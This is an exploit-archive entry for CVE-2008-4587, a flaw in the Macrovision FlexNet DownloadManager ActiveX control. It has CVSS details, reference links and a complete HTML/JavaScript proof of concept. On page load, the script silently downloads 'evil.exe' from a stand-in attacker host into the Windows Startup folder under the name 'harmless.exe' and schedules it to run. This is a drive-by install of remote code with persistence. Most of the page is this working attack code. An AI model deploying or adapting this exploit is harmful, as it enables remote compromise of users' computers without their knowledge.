Macrovision FlexNet DownloadManager Insecure Methods Exploit

2008.10.18

Credit: e.b.

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-4587

CWE: CWE-Other

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

<!-- 
Macrovision FlexNet DownloadManager Insecure Methods Exploit
Implemented Categories:
Category: Safe for Scripting
Written by e.b.
Tested on Windows XP SP2(fully patched) English, IE6, ISDM.exe version 6.1.100.61372
-->
<html>
 <head>
  <title>Macrovision FlexNet DownloadManager Insecure Methods Exploit</title>
  <script language="JavaScript" defer>
    function Check() {
     
	var mJob = obj.CreateJob("SomeJob",0,"{11111111-1111-1111-1111-111111111111}");
	
	mJob.AddFile("http://www.evilsite/evil.exe","C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\harmless.exe");
	mJob.SetPriority(0);
	mJob.SetNotifyFlags(2);
	mJob.ScheduleInterval = 2;
	
	obj.RunScheduledJobs();
                
          
    } 
   
   </script>
  </head>
 <body onload="JavaScript: return Check();">
    <object id="obj" classid="clsid:FCED4482-7CCB-4E6F-86C9-DCB22B52843C" height="0" width="0">
     Unable to create object
    </object>
 </body>
</html>

References:

http://xforce.iss.net/xforce/xfdb/39653

http://www.securityfocus.com/bid/27279

http://www.milw0rm.com/exploits/4909

http://secunia.com/advisories/28496

See this note in RAW Version

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Macrovision FlexNet DownloadManager Insecure Methods Exploit

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